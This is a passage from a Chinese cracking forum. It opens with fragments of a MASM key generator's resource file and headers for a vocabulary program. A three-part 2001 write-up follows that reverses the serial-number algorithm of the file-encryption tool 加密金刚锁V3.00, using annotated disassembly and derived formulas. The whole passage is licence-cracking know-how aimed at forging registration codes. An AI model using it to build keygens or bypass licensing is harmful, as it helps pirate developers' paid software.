popad
ret
Calculation Endp
End start

;kg.rc
#include <\masm32\include\resource.h>
#define DLG_MAIN 1000
#define IDC_UN 1001
#define IDC_SN 1002
#define ID_GEN 1003
#define ID_EXIT 1004
DLG_MAIN DIALOG 64,53,240,52
STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
CAPTION "计算机专业词汇学习1.0 注册机 by WenXinJY"
FONT 9, "宋体"
{
DEFPUSHBUTTON "注册", ID_GEN, 200, 8, 30, 14
PUSHBUTTON "退出", ID_EXIT, 200, 26, 30, 14
EDITTEXT IDC_UN, 40, 10, 150, 12, WS_BORDER | WS_TABSTOP
EDITTEXT IDC_SN, 40, 29, 150, 13, WS_BORDER | WS_TABSTOP
LTEXT "用户名:", -1, 8, 12, 30, 10
LTEXT "注册码:", -1, 8, 30, 30, 9
}
;hd.h
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
include \masm32\include\comctl32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\shell32.inc
include \masm32\include\advapi32.inc

includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\advapi32.lib


加密金刚锁V3.00

 标 题:加密金刚锁V3.00注册算法----(上集） (7千字)
发信人:crackjack[CCG]
时 间:2001-11-9 1:42:39
详细信息:
“加密金刚锁”的前身就是“fedt for windows”，是一款专业的文件加密解密工具。它适用于windows9x/me/nt/2000/XP 等操作平台。

这个软件的加密有一点过份，如果你暴破得不彻底的话，它会很不礼貌的说你的解密水平很差等等啦，我看到这些东西就他妈的反胃了，呵呵，所以破它是天经地义的啦。

工具：
trw2000
hview
w32dasm

破解:crackjack[CCG]

好，我们看看他是用什么样的保护方式，以至作者那么的嚣张。用fi245检查，发现它是用aspack V2.11加的壳，呵呵，这个壳是很温柔的呵，解它就随便在网上拉一个工具下来就可以解它了，我们今天要研究它的加密方法。这个软件采取动态注册的方法，如果输入的注册码不正确，注册按钮就不可用。破解这类软件一般用的中断是bpx hmemcpy，我们先输入名字，名字不小于4个字符，并且输入7个注册码，然后切换到TRW,下断点bpx hmemcpy，然后输入第八个字符，程序被中点了，如下：

:0041175B 8B4DFC mov ecx, dword ptr [ebp-04] <====返回到这里
:0041175E 85C9 test ecx, ecx
:00411760 7408 je 0041176A
:00411762 8B45FC mov eax, dword ptr [ebp-04]
:00411765 8B50FC mov edx, dword ptr [eax-04] <=====取注册用户名长度过
:00411768 EB02 jmp 0041176C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00411760(C)
|
:0041176A 33D2 xor edx, edx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00411768(U)
|
:0041176C 83FA04 cmp edx, 00000004 <=====比较用户名长度，如果小于4则注册失败
:00411775 33C0 xor eax, eax
:00411777 8945F8 mov dword ptr [ebp-08], eax
:0041177A 8D55F8 lea edx, dword ptr [ebp-08]
:0041177D FF45E4 inc [ebp-1C]
:00411780 8B83EC020000 mov eax, dword ptr [ebx+000002EC]
:00411786 E839B70400 call 0045CEC4
:0041178B 8B4DF8 mov ecx, dword ptr [ebp-08]
:0041178E 85C9 test ecx, ecx
:00411790 7408 je 0041179A
:00411792 8B45F8 mov eax, dword ptr [ebp-08]
:00411795 8B50FC mov edx, dword ptr [eax-04] <====取注册码长度
:00411798 EB02 jmp 0041179C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00411790(C)
|
:0041179A 33D2 xor edx, edx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00411798(U)
|
:0041179C 83FA08 cmp edx, 00000008 <====比较注册码长度,如果小于8则注册失败

然后按f10，来到下面的地方：

:004117D8 33C0 xor eax, eax
:004117DA 8D4DEC lea ecx, dword ptr [ebp-14]
:004117DD 8B12 mov edx, dword ptr [edx]
:004117DF 8945EC mov dword ptr [ebp-14], eax
:004117E2 A1446E4C00 mov eax, dword ptr [004C6E44]
:004117E7 FF45E4 inc [ebp-1C]
:004117EA 8B00 mov eax, dword ptr [eax]
:004117EC E8EFBDFFFF call 0040D5E0 <=====注册算法
:004117F1 8D55EC lea edx, dword ptr [ebp-14] <====真正的注册码地址
:004117F4 33C9 xor ecx, ecx
:004117F6 52 push edx
:004117F7 894DF4 mov dword ptr [ebp-0C], ecx

:0041176F 0F8CDD000000 jl 00411852

好，我们追进4117ec的CALL，看它的注册算法是怎么样的：

程序将用户名和机器码连接在一起做为注册码的运算常数，如用户名是linjie，机器码是3CG5A3D8,则运算码为linjie3CG5A3D8(0),注意,还要在运算码最后加一个0H

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040D69A(U)
|
:0040D6A1 021C01 add bl, byte ptr [ecx+eax] <=====累加运算码，取结果的一个字节(total)
:0040D6A4 40 inc eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040D68E(U)
|
:0040D6A5 8B55F8 mov edx, dword ptr [ebp-08]
:0040D6A8 85D2 test edx, edx
:0040D6AA 7408 je 0040D6B4
:0040D6AC 8B55F8 mov edx, dword ptr [ebp-08]
:0040D6AF 8B4AFC mov ecx, dword ptr [edx-04]
:0040D6B2 EB02 jmp 0040D6B6

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040D6AA(C)
|
:0040D6B4 33C9 xor ecx, ecx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040D6B2(U)
|
:0040D6B6 3BC1 cmp eax, ecx
:0040D6B8 7CD6 jl 0040D690
:0040D6BA 8B45F8 mov eax, dword ptr [ebp-08] <====取运算码地址
。
。
。
:0040D6CB 8B45A4 mov eax, dword ptr [ebp-5C] <====取运算码地址
:0040D6CE 8A0C02 mov cl, byte ptr [edx+eax] <====取运算码第N位
:0040D6D1 8BC6 mov eax, esi <====运算码的位置
:0040D6D3 02C8 add cl, al <====cl=运算码ASCII值+运算码位置(fx1)
:0040D6D5 8BD6 mov edx, esi <====运算码位置
:0040D6D7 02DA add bl, dl <====累加总数(total)+运算码(fx2)位置
:0040D6D9 32CB xor cl, bl <=====cl(fx)=fx1 xor fx2
:0040D6DB 8B45F8 mov eax, dword ptr [ebp-08]
:0040D6DE 85C0 test eax, eax
:0040D6E0 7408 je 0040D6EA
:0040D6E2 8B55F8 mov edx, dword ptr [ebp-08]
:0040D6E5 8B42FC mov eax, dword ptr [edx-04]
:0040D6E8 EB02 jmp 0040D6EC
.
.
.
:0040D702 8A0402 mov al, byte ptr [edx+eax] <====取运算码的最后一位
:0040D705 8BD6 mov edx, esi <=====要计算的注册码位置regcode(第一位注册码是0,第二位是1,其它的类推)
:0040D707 02C2 add al, dl <=====运算码+运算码位置
:0040D709 8BD6 mov edx, esi
:0040D70B 0FAFD6 imul edx, esi <=====regcode*regcode
:0040D70E 02C2 add al, dl <=====(运算码+运算码位置)+(regcode*regcode)
:0040D710 8B55A0 mov edx, dword ptr [ebp-60] <=====循环变量
:0040D713 0FAF55A0 imul edx, dword ptr [ebp-60] <=====循环变量*循环变量
:0040D717 2AC2 sub al, dl <=====相减(fy)
:0040D719 8B55F8 mov edx, dword ptr [ebp-08]
:0040D71C 85D2 test edx, edx
:0040D71E 7408 je 0040D728
:0040D720 8B55F8 mov edx, dword ptr [ebp-08]
:0040D723 8B52FC mov edx, dword ptr [edx-04]
:0040D726 EB02 jmp 0040D72A
.
.
.
:0040D72A 66C745C82000 mov [ebp-38], 0020
:0040D730 2AC2 sub al, dl <====fy-0E(运算码长度)
:0040D732 8D55F0 lea edx, dword ptr [ebp-10]
:0040D735 32C8 xor cl, al <====fx xor (fy-0E)结果作为第一个注册码运算函数的参数
:0040D737 33C0 xor eax, eax
:0040D739 8945F0 mov dword ptr [ebp-10], eax
:0040D73C 8BD9 mov ebx, ecx
:0040D73E FF45D4 inc [ebp-2C]
:0040D741 8B45B4 mov eax, dword ptr [ebp-4C]
:0040D744 E887FCFFFF call 0040D3D0
:0040D749 8B4DF0 mov ecx, dword ptr [ebp-10]
:0040D74C 85C9 test ecx, ecx
:0040D74E 7405 je 0040D755
:0040D750 8B4DF0 mov ecx, dword ptr [ebp-10]
:0040D753 EB05 jmp 0040D75A

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040D74E(C)
|
:0040D755 B90A7F4B00 mov ecx, 004B7F0A

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040D753(U)
|
:0040D75A 8BD3 mov edx, ebx
:0040D75C 8B45B4 mov eax, dword ptr [ebp-4C]
:0040D75F E81CE0FFFF call 0040B780 <====第一个注册码运算函数

(未完待续)
:0040D764 8B55A0 mov edx, dword ptr [ebp-60]

标 题:加密金刚锁V3.00注册算法----(中集） (9千字)
发信人:crackjack[CCG]
时 间:2001-11-9 15:44:49
详细信息:

续

我们假设运算函数为f1(x),机器码为N0,N1,N2,N3,N4,N5,N6,N7，相应的机器码位置为：LNx（x=0

to 7),实际用到运算的机器码只有N0,N1,N3,N4,N5:
-----------------------------------------------
:0040B785 8BF1 mov esi, ecx
:0040B787 881424 mov byte ptr [esp], dl
:0040B78A 33DB xor ebx, ebx
:0040B78C 56 push esi
:0040B78D E8A6720800 call 00492A38 <=====取机器码长度L(8)
:0040B792 59 pop ecx
:0040B793 8BF8 mov edi, eax
:0040B795 D1EF shr edi, 1 <=====右移一位
:0040B797 56 push esi

:0040B7A3 8A141E mov dl, byte ptr [esi+ebx] <====取机器码N0
:0040B7A6 59 pop ecx
:0040B7A7 02C2 add al, dl
:0040B7A9 8BD7 mov edx, edi
:0040B7AB 0FAFD7 imul edx, edi <====(L shr 1)*(L shr 1)
:0040B7AE 8A0C24 mov cl, byte ptr [esp] <====取函数参数x
:0040B7B1 43 inc ebx <====EBX=EBX=1
:0040B7B2 32C1 xor al, cl <====N0 xor X
:0040B7B4 8A0C3E mov cl, byte ptr [esi+edi] <=====取N4
:0040B7B7 02D1 add dl, cl <=====N4+(L shr 1)*(L shr 1)
:0040B7B9 8A0C2E mov cl, byte ptr [esi+ebp] <=====取N1
:0040B7BC 32C2 xor al, dl <=====(N0 xor X) xor (N4+(L shr 1)*(L

shr 1))
:0040B7BE 8BD5 mov edx, ebp
:0040B7C0 0FAFD5 imul edx, ebp <====L*L
:0040B7C3 02D1 add dl, cl
:0040B7C5 4D dec ebp
:0040B7C6 4F dec edi
:0040B7C7 32C2 xor al, dl <====从这里整理出公式：R1=(((N0 xor X)

xor ((L shr 1)*(L shr 1)+N4)) xor L*L
:0040B7C9 4F dec edi
:0040B7CA 4D dec ebp
:0040B7CB 4D dec ebp
:0040B7CC 4F dec edi
:0040B7CD 880424 mov byte ptr [esp], al <===保存R1，作为下一个数的计

算的参数
-------------------------------------------------

:0040B7FB 8BC3 mov eax, ebx <====EAX=LN3
:0040B7FD 8A0C24 mov cl, byte ptr [esp] <====取R1
:0040B800 F7EB imul ebx <=====LN3*LN3
:0040B802 8A141E mov dl, byte ptr [esi+ebx] <=====取N3
:0040B805 43 inc ebx
:0040B806 02C2 add al, dl <=====N3+LN3*LN3
:0040B808 8BD7 mov edx, edi <=====LN1
:0040B80A 0FAFD7 imul edx, edi <=====LN1*LN1
:0040B80D 32C1 xor al, cl <=====R1 xor (N3+LN3*LN3)
:0040B80F 8A0C3E mov cl, byte ptr [esi+edi] <=====取N1
:0040B812 02D1 add dl, cl <=====N1+LN1*LN1
:0040B814 8A0C2E mov cl, byte ptr [esi+ebp] <=====取N5
:0040B817 32C2 xor al, dl <====(R1 xor (N3+LN3*LN3)) xor

(N1+LN1*LN1)
:0040B819 8BD5 mov edx, ebp <====LN5
:0040B81B 0FAFD5 imul edx, ebp <====LN5*LN5
:0040B81E 02D1 add dl, cl <====LN5*LN5+N5
:0040B820 4D dec ebp
:0040B821 4F dec edi
:0040B822 32C2 xor al, dl <====整理出公式:R2=((R1 xor

(N3+LN3*LN3)) xor (N1+LN1*LN1)) xor (LN5*LN5+N5)
:0040B824 4F dec edi
:0040B825 4D dec ebp
:0040B826 4D dec ebp
:0040B827 4F dec edi
:0040B828 880424 mov byte ptr [esp], al <====保存R2
----------------------------------------------
:0040B84C 33C0 xor eax, eax
:0040B84E 8A1424 mov dl, byte ptr [esp] <====取R2
:0040B851 8A0424 mov al, byte ptr [esp] <====取R2
:0040B854 8BFE mov edi, esi
:0040B856 C1E202 shl edx, 02 <===
:0040B859 C1F806 sar eax, 06 <===
:0040B85C 0AC2 or al, dl <===整理出公式:R3=(R2 shl 2) or (R2 sar

6)
:0040B85E 33DB xor ebx, ebx
:0040B860 880424 mov byte ptr [esp], al <===保存R3
:0040B863 EB0B jmp 0040B870
----------------------------------------------
下面是前四位机器码运算:
:0040B865 8A17 mov dl, byte ptr [edi] <====取N0
:0040B867 8BC3 mov eax, ebx <====LN0
:0040B869 02C2 add al, dl <====N0+LN0
:0040B86B 43 inc ebx
:0040B86C 300424 xor byte ptr [esp], al <====循环xor,结果为R4
:0040B86F 47 inc edi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040B863(U)
|
:0040B870 56 push esi
:0040B871 E8C2710800 call 00492A38
:0040B876 D1E8 shr eax, 1
:0040B878 59 pop ecx
:0040B879 3BD8 cmp ebx, eax
:0040B87B 72E8 jb 0040B865
:0040B87D 8A0424 mov al, byte ptr [esp] <====取R4
:0040B880 C1E006 shl eax, 06 <====
:0040B883 33D2 xor edx, edx
:0040B885 8A1424 mov dl, byte ptr [esp]
:0040B888 C1FA02 sar edx, 02
:0040B88B 0AC2 or al, dl <==== 整理出公式:R5=(R4 shl 6) or (R4

sar 2)
:0040B88D 880424 mov byte ptr [esp], al <====保存R5
:0040B890 56 push esi
:0040B891 E8A2710800 call 00492A38
:0040B896 59 pop ecx
:0040B897 8BD8 mov ebx, eax
:0040B899 D1EB shr ebx, 1
:0040B89B 8D3C1E lea edi, dword ptr [esi+ebx]
:0040B89E EB0D jmp 0040B8AD
-------------------------------------------------
下面是后四位运算:
:0040B8A0 8BC3 mov eax, ebx <====LN5
:0040B8A2 F7EB imul ebx <====LN5*LN5
:0040B8A4 8A17 mov dl, byte ptr [edi] <====取R5
:0040B8A6 43 inc ebx
:0040B8A7 02C2 add al, dl
:0040B8A9 300424 xor byte ptr [esp], al <===循环xor,结果为R6
:0040B8AC 47 inc edi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040B89E(U)
|
:0040B8AD 56 push esi
:0040B8AE E885710800 call 00492A38
:0040B8B3 59 pop ecx
:0040B8B4 3BD8 cmp ebx, eax
:0040B8B6 72E8 jb 0040B8A0
:0040B8B8 33C0 xor eax, eax
:0040B8BA 8A0424 mov al, byte ptr [esp] <====取R6
:0040B8BD C1F806 sar eax, 06 <=====
:0040B8C0 8A1424 mov dl, byte ptr [esp]
:0040B8C3 C1E202 shl edx, 02 <=====
:0040B8C6 0AC2 or al, dl <=====整理出公式:R7=(R6 sar 6) or (R6

shl 2)
:0040B8C8 880424 mov byte ptr [esp], al <====保存R7,同时作为函数的返

回值
:0040B8CB 8A0424 mov al, byte ptr [esp] <====取结果R7
:0040B8CE 5A pop edx
:0040B8CF 5D pop ebp
:0040B8D0 5F pop edi
:0040B8D1 5E pop esi
:0040B8D2 5B pop ebx
:0040B8D3 C3 ret
------------------------------------------
下面是函数返回后的代码:
:0040D764 8B55A0 mov edx, dword ptr [ebp-60] <===取运算码位置LNX
:0040D767 8A4DA0 mov cl, byte ptr [ebp-60] <===取循环变量
:0040D76A 0FAFD6 imul edx, esi <===相乘
:0040D76D 02C2 add al, dl <===R7+LNX*J
:0040D76F 8BD6 mov edx, esi
:0040D771 2AC1 sub al, cl <===R7+LNX*J-J
:0040D773 32C2 xor al, dl <===(R7+LNX*J-J) xor

LNX,结果作为第二个函数的参数
:0040D775 BA02000000 mov edx, 00000002
:0040D77A FF4DD4 dec [ebp-2C]
:0040D77D 8BD8 mov ebx, eax
:0040D77F 8D45F0 lea eax, dword ptr [ebp-10]
:0040D782 E8F9370900 call 004A0F80
:0040D787 66C745C82C00 mov [ebp-38], 002C
:0040D78D 33C0 xor eax, eax
:0040D78F 8945EC mov dword ptr [ebp-14], eax
:0040D792 8D55EC lea edx, dword ptr [ebp-14]
:0040D795 FF45D4 inc [ebp-2C]
:0040D798 8B45B4 mov eax, dword ptr [ebp-4C]
:0040D79B E830FCFFFF call 0040D3D0
:0040D7A0 8B4DEC mov ecx, dword ptr [ebp-14]
:0040D7A3 85C9 test ecx, ecx
:0040D7A5 7405 je 0040D7AC
:0040D7A7 8B4DEC mov ecx, dword ptr [ebp-14]
:0040D7AA EB05 jmp 0040D7B1

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040D7A5(C)
|
:0040D7AC B90B7F4B00 mov ecx, 004B7F0B

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040D7AA(U)
|
:0040D7B1 8BD3 mov edx, ebx <====取参数
:0040D7B3 8B45B4 mov eax, dword ptr [ebp-4C]
:0040D7B6 E819E1FFFF call 0040B8D4 <====第二个运算函数

(未完待续)

标 题:加密金刚锁V3.00注册算法----(下集) (13千字)
发信人:crackjack[CCG]
时 间:2001-11-9 17:52:42
详细信息:

第二个运算函数f2(Y):
-------------------------------------------------
:0040B8F4 89442404 mov dword ptr [esp+04], eax
:0040B8F8 8A0424 mov al, byte ptr [esp] <===取参数
:0040B8FB C1E006 shl eax, 06 <====
:0040B8FE 33D2 xor edx, edx
:0040B900 8A1424 mov dl, byte ptr [esp] <===取参数
:0040B903 C1FA02 sar edx, 02 <====
:0040B906 0AC2 or al, dl <====整理出公式：R8=(Y shl 6) or (x sar 2)
:0040B908 880424 mov byte ptr [esp], al <====保存R8
:0040B90B 56 push esi
:0040B90C E827710800 call 00492A38
:0040B911 59 pop ecx
:0040B912 8BD8 mov ebx, eax
:0040B914 D1EB shr ebx, 1
:0040B916 8D041E lea eax, dword ptr [esi+ebx]
:0040B919 89442408 mov dword ptr [esp+08], eax
:0040B91D EB15 jmp 0040B934
-------------------------------------------------
下面是机器码后四位的运算:
:0040B91F 8BD3 mov edx, ebx <=====取LNX(x=4 to 7)
:0040B921 8B4C2408 mov ecx, dword ptr [esp+08]
:0040B925 0FAFD3 imul edx, ebx <=====LNX*LNX
:0040B928 8A01 mov al, byte ptr [ecx] <=====取N4--N7
:0040B92A 43 inc ebx
:0040B92B 02D0 add dl, al <=====Nx+LNX
:0040B92D 301424 xor byte ptr [esp], dl <=====循环xor ,结果为R9
:0040B930 FF442408 inc [esp+08]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040B91D(U)
|
:0040B934 56 push esi
:0040B935 E8FE700800 call 00492A38
:0040B93A 59 pop ecx
:0040B93B 3BD8 cmp ebx, eax
:0040B93D 72E0 jb 0040B91F
:0040B93F 33C0 xor eax, eax
:0040B941 8A1424 mov dl, byte ptr [esp] <====取R9
:0040B944 8A0424 mov al, byte ptr [esp] <====取R9
:0040B947 C1E202 shl edx, 02 <====
:0040B94A C1F806 sar eax, 06 <====
:0040B94D 0AC2 or al, dl <====整理出公式:R10=(R9 shl 2) or (R9 sar 6)
:0040B94F 33DB xor ebx, ebx
:0040B951 880424 mov byte ptr [esp], al <====保存R10
:0040B954 8BC6 mov eax, esi
:0040B956 8944240C mov dword ptr [esp+0C], eax
:0040B95A EB12 jmp 0040B96E
-----------------------------------------------
下面是机器码前四位的运算:
:0040B95C 8BD3 mov edx, ebx <=====取LNX(x=0 to 3)
:0040B95E 8B4C240C mov ecx, dword ptr [esp+0C]
:0040B962 8A01 mov al, byte ptr [ecx] <=====取N0--N3
:0040B964 02D0 add dl, al <=====LNX+NX
:0040B966 301424 xor byte ptr [esp], dl <====循环xor ,结果为R11
:0040B969 43 inc ebx
:0040B96A FF44240C inc [esp+0C]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040B95A(U)
|
:0040B96E 56 push esi
:0040B96F E8C4700800 call 00492A38
:0040B974 D1E8 shr eax, 1
:0040B976 59 pop ecx
:0040B977 3BD8 cmp ebx, eax
:0040B979 72E1 jb 0040B95C
:0040B97B 8BCF mov ecx, edi
:0040B97D 33D2 xor edx, edx
:0040B97F 0FAFCF imul ecx, edi
:0040B982 8A1424 mov dl, byte ptr [esp] <====取R11
:0040B985 8A0424 mov al, byte ptr [esp] <====取R11
:0040B988 C1FA02 sar edx, 02 <====
:0040B98B C1E006 shl eax, 06 <====
:0040B98E 0AC2 or al, dl <====整理出公式:R12=(R11 sar 2) or (R11 shl 6)
:0040B990 880424 mov byte ptr [esp], al <====保存R12
---------------------------------------------------
:0040B993 8A043E mov al, byte ptr [esi+edi] <====取N0
:0040B996 8A1424 mov dl, byte ptr [esp] <====取R12
:0040B999 02C8 add cl, al <====LN0+N0
:0040B99B 8BC5 mov eax, ebp
:0040B99D 32CA xor cl, dl <=====(LN0+N0) xor R12
:0040B99F 47 inc edi
:0040B9A0 F7ED imul ebp <====LN4*LN4
:0040B9A2 8A142E mov dl, byte ptr [esi+ebp] <====取N4
:0040B9A5 4D dec ebp
:0040B9A6 02C2 add al, dl <====N4+LN4*LN4
:0040B9A8 4D dec ebp
:0040B9A9 32C8 xor cl, al <====((LN0+N0) xor R12) xor (N4+LN4*LN4)
:0040B9AB 8B442404 mov eax, dword ptr [esp+04]
:0040B9AF F76C2404 imul [esp+04] <=====L*L
:0040B9B3 8B542404 mov edx, dword ptr [esp+04]
:0040B9B7 4D dec ebp
:0040B9B8 47 inc edi
:0040B9B9 8A1C16 mov bl, byte ptr [esi+edx]
:0040B9BC 02C3 add al, bl
:0040B9BE 32C8 xor cl, al <====(((LN0+N0) xor R12) xor (N4+LN4*LN4)) xor (L*L),结果为R13
:0040B9C0 880C24 mov byte ptr [esp], cl <====保存R13
----------------------------------------------------
:0040B9FF 8BD7 mov edx, edi <====LN3
:0040BA01 8A0C3E mov cl, byte ptr [esi+edi] <====取N3
:0040BA04 0FAFD7 imul edx, edi <====LN3*LN3
:0040BA07 02D1 add dl, cl <====N3+LN3*LN3
:0040BA09 8BCD mov ecx, ebp <====LN1
:0040BA0B 0FAFCD imul ecx, ebp <====LN1*LN1
:0040BA0E 8A0424 mov al, byte ptr [esp] <====取R13
:0040BA11 47 inc edi
:0040BA12 32D0 xor dl, al <====R13 xor (N3+LN3*LN3)
:0040BA14 8A042E mov al, byte ptr [esi+ebp] <====取N1
:0040BA17 02C8 add cl, al <====N1+LN1*LN1
:0040BA19 8B442404 mov eax, dword ptr [esp+04] <====取LN5
:0040BA1D 32D1 xor dl, cl <=====(R13 xor (N3+LN3*LN3)) xor (N1+LN1*LN1)
:0040BA1F 8B4C2404 mov ecx, dword ptr [esp+04]
:0040BA23 0FAF4C2404 imul ecx, dword ptr [esp+04] <====LN5*LN5
:0040BA28 8A1C06 mov bl, byte ptr [esi+eax] <====取N5
:0040BA2B 4D dec ebp
:0040BA2C 02CB add cl, bl <====N5+LN5*LN5
:0040BA2E 4D dec ebp
:0040BA2F 32D1 xor dl, cl <====[(R13 xor (N3+LN3*LN3)) xor (N1+LN1*LN1)] xor (N5+LN5*LN5)
:0040BA31 4D dec ebp
:0040BA32 881424 mov byte ptr [esp], dl <=====保存R14,同时这个数也做为函数的返回值
:0040BA35 47 inc edi
----------------------------------------------------
下面是函数返回后的代码:

:0040D7BB 8A55A0 mov dl, byte ptr [ebp-60] <====取循环变量J
:0040D7BE 0480 add al, 80 <====R14+80
:0040D7C0 2AC2 sub al, dl <====R14+80-J
:0040D7C2 8B55A0 mov edx, dword ptr [ebp-60] <====取循环变量J
:0040D7C5 0FAFD6 imul edx, esi <====J*LNX
:0040D7C8 8BCE mov ecx, esi
:0040D7CA 02CA add cl, dl <====J*LNX+LNX
:0040D7CC BA02000000 mov edx, 00000002
:0040D7D1 32C1 xor al, cl <====(R14+80-J) xor (J*LNX+LNX),结果作为下一个函数调用的参数
:0040D7D3 FF4DD4 dec [ebp-2C]
:0040D7D6 8BD8 mov ebx, eax
:0040D7D8 8D45EC lea eax, dword ptr [ebp-14]
:0040D7DB E8A0370900 call 004A0F80
:0040D7E0 66C745C83800 mov [ebp-38], 0038
:0040D7E6 33C0 xor eax, eax
:0040D7E8 8945E8 mov dword ptr [ebp-18], eax
:0040D7EB 8D55E8 lea edx, dword ptr [ebp-18]
:0040D7EE FF45D4 inc [ebp-2C]
:0040D7F1 8B45B4 mov eax, dword ptr [ebp-4C]
:0040D7F4 E8D7FBFFFF call 0040D3D0
:0040D7F9 8B4DE8 mov ecx, dword ptr [ebp-18]
:0040D7FC 85C9 test ecx, ecx
:0040D7FE 7405 je 0040D805
:0040D800 8B4DE8 mov ecx, dword ptr [ebp-18]
:0040D803 EB05 jmp 0040D80A
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040D7FE(C)
|
:0040D805 B90C7F4B00 mov ecx, 004B7F0C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040D803(U)
|
:0040D80A 8BD3 mov edx, ebx <====取参数
:0040D80C 8B45B4 mov eax, dword ptr [ebp-4C]
:0040D80F E86CDFFFFF call 0040B780 <====第二次调用函数f1(X)
:0040D814 8B55A0 mov edx, dword ptr [ebp-60] <====取循环次数J
:0040D817 8BCE mov ecx, esi
:0040D819 0FAF55A0 imul edx, dword ptr [ebp-60] <====J*J
:0040D81D 02C2 add al, dl <=============f1+J*J
:0040D81F 8BD6 mov edx, esi <=============LNX
:0040D821 2AC1 sub al, cl <=============(f1+J*J)-LNX
:0040D823 32C2 xor al, dl <=============((f1+J*J)-LNX) xor LNX,结果作为下一个函数的参数
:0040D825 BA02000000 mov edx, 00000002
:0040D82A FF4DD4 dec [ebp-2C]
:0040D82D 8BD8 mov ebx, eax
:0040D82F 8D45E8 lea eax, dword ptr [ebp-18]
:0040D832 E849370900 call 004A0F80
:0040D837 66C745C84400 mov [ebp-38], 0044
:0040D83D 33C0 xor eax, eax
:0040D83F 8945E4 mov dword ptr [ebp-1C], eax
:0040D842 8D55E4 lea edx, dword ptr [ebp-1C]
:0040D845 FF45D4 inc [ebp-2C]
:0040D848 8B45B4 mov eax, dword ptr [ebp-4C]
:0040D84B E880FBFFFF call 0040D3D0
:0040D850 8B4DE4 mov ecx, dword ptr [ebp-1C]
:0040D853 85C9 test ecx, ecx
:0040D855 7405 je 0040D85C
:0040D857 8B4DE4 mov ecx, dword ptr [ebp-1C]
:0040D85A EB05 jmp 0040D861
----------------------------------------------
:0040D861 8BD3 mov edx, ebx <====取参数
:0040D863 8B45B4 mov eax, dword ptr [ebp-4C]
:0040D866 E869E0FFFF call 0040B8D4 <====第二次调用函数f2(Y)
:0040D86B 8A55A0 mov dl, byte ptr [ebp-60] <====取循环次数J
:0040D86E 0480 add al, 80 <=====f2+80
:0040D870 2AC2 sub al, dl <=====f2+80-J
:0040D872 8BD6 mov edx, esi <=====LNX
:0040D874 0FAFD6 imul edx, esi <=====LNX*LNX
:0040D877 8A4DA0 mov cl, byte ptr [ebp-60] <=====取循环次数J
:0040D87A 02CA add cl, dl <=====J+LNX*LNX
:0040D87C BA02000000 mov edx, 00000002
:0040D881 32C1 xor al, cl <====(f2+80-J) xor (J+LNX*LNX),结果为最终的运算结果
:0040D883 FF4DD4 dec [ebp-2C]
:0040D886 8BD8 mov ebx, eax
:0040D888 8D45E4 lea eax, dword ptr [ebp-1C]
:0040D88B E8F0360900 call 004A0F80
:0040D890 33C0 xor eax, eax
:0040D892 8AC3 mov al, bl
:0040D894 50 push eax
:0040D895 E8AE9E0800 call 00497748 <=====判断运算结果是不是大写字母
:0040D89A 59 pop ecx
:0040D89B 85C0 test eax, eax
:0040D89D 7416 je 0040D8B5 <=====如果不是,则循环变量J=J+1,继续运算,直到结果为合法的注册码为止
:0040D89F 8BFB mov edi, ebx
:0040D8A1 81E7FF000000 and edi, 000000FF
:0040D8A7 57 push edi
:0040D8A8 E83BBC0800 call 004994E8
:0040D8AD 59 pop ecx
:0040D8AE 8B559C mov edx, dword ptr [ebp-64]
:0040D8B1 8802 mov byte ptr [edx], al
:0040D8B3 EB08 jmp 0040D8BD

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040D89D(C)
|
:0040D8B5 FF45A0 inc [ebp-60]
:0040D8B8 E9B9FDFFFF jmp 0040D676
-----------------------------------------------
|
:0040D8CE 8B55A4 mov edx, dword ptr [ebp-5C]
:0040D8D1 3BC2 cmp eax, edx
:0040D8D3 7505 jne 0040D8DA
:0040D8D5 33C9 xor ecx, ecx
:0040D8D7 894DA4 mov dword ptr [ebp-5C], ecx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040D8D3(C)
|
:0040D8DA FF4598 inc [ebp-68]
:0040D8DD 46 inc esi
:0040D8DE FF45A4 inc [ebp-5C]
:0040D8E1 83FE08 cmp esi, 00000008 <=====运算出所有的注册码了吗?
:0040D8E4 0F8C7FFDFFFF jl 0040D669 <=====如果没有,则继续运算

哗,好长啊,写得手都累了,呵呵,想不到一个小小的软件的注册算法有那么长啊.不过总的来说它的注册算法并不复杂,只是不断的调用函数来运算罢了.

标 题:加密算法的补充 (885字)
发信人:crackjack[CCG]
时 间:2001-11-10 20:14:41
详细信息:

补充：

由于我的疏忽，忘记把小写字母的注册码转换成大写字母的代码贴出来了：
-----------------------------------------
:0040D890 33C0 xor eax, eax
:0040D892 8AC3 mov al, bl
:0040D894 50 push eax
:0040D895 E8AE9E0800 call 00497748 <=====判断运算结果是不是大写字母或者小

写字母
:0040D89A 59 pop ecx
:0040D89B 85C0 test eax, eax
------------------------------------------

:0040D8A1 81E7FF000000 and edi, 000000FF
:0040D8A7 57 push edi
